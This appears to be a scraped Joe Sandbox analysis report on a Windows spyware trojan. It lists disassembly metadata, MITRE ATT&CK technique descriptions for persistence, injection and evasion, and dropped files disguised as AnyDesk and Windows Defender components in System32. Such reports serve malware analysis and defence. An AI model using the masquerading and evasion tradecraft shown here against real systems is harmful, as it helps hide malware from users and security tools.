C:\Windows\System32\oobe\AnyDeskUpdateService.exe, xrefs: 00007FF71DDA7152

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Windows\System32\oobe\AnyDeskUpdateService.exe
API String ID: 3580290477-3169726793
Opcode ID: 015c39d85a576662478ad2c262c788667b722bdcede0a06fe6200da70104d747
Instruction ID: 98bb2407a4218898cd11ab362fb7c8b3f034a0040f6385a88d900c56d7833434
Opcode Fuzzy Hash: 015c39d85a576662478ad2c262c788667b722bdcede0a06fe6200da70104d747
Instruction Fuzzy Hash: 1741A532A0CF0A95EF15FF2194401BCA7A5EB45BA4BD58037ED8E43785EE3CE4498B20

Function 00007FF71DDAC534 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF71DDAC64B
GetLastError.KERNEL32 ref: 00007FF71DDAC66D

Strings

U, xrefs: 00007FF71DDAC5F7

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 45453d0a4cb618e3adf22ee76669d7d8896708ec24ad589fac43c11eaffff017
Instruction ID: 745f38ab6538faaf7833654f4af52988b364c977a2651b39ea4791097b5a12de
Opcode Fuzzy Hash: 45453d0a4cb618e3adf22ee76669d7d8896708ec24ad589fac43c11eaffff017
Instruction Fuzzy Hash: 8C41A722B1CE4591DB10DF25E4443B9A7A1FB48BA4F858036EE8D87794EF3CD445CB50

Function 00007FF71DD995E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF71DD99634
RaiseException.KERNEL32 ref: 00007FF71DD99675

Strings

csm, xrefs: 00007FF71DD99662

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 1f17b112604c356c224eb2ed1e8f8d2ca513bdd1cb9f3ebf4d5e436a80b3cb1e
Instruction ID: f2d49836d20caf98b44b011c50ee682304328d971c054b7e07145f51026d3b3d
Opcode Fuzzy Hash: 1f17b112604c356c224eb2ed1e8f8d2ca513bdd1cb9f3ebf4d5e436a80b3cb1e
Instruction Fuzzy Hash: 5711373261CB8582EB259F15E40026AB7A5FB88B94F984236EACC47758EF3DC5558B00

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\MicrosoftWindowsDefenderCoreService[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\AnyDeskShellIntegration[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\AnyDeskCrashHandler[1].exe

C:\Windows\System32\AnyDeskShellIntegration.dll

C:\Windows\System32\AnyDeskShellIntegration_Update.dll

C:\Windows\System32\WindowsUpdate.txt

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskShellIntegration[1].dll

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskUpdateService[1].exe

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt

C:\Windows\System32\oobe\AnyDeskCrashHandler.exe

C:\Windows\System32\oobe\AnyDeskUpdateService.exe

C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

C:\Windows\System32\oobe\version.txt

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe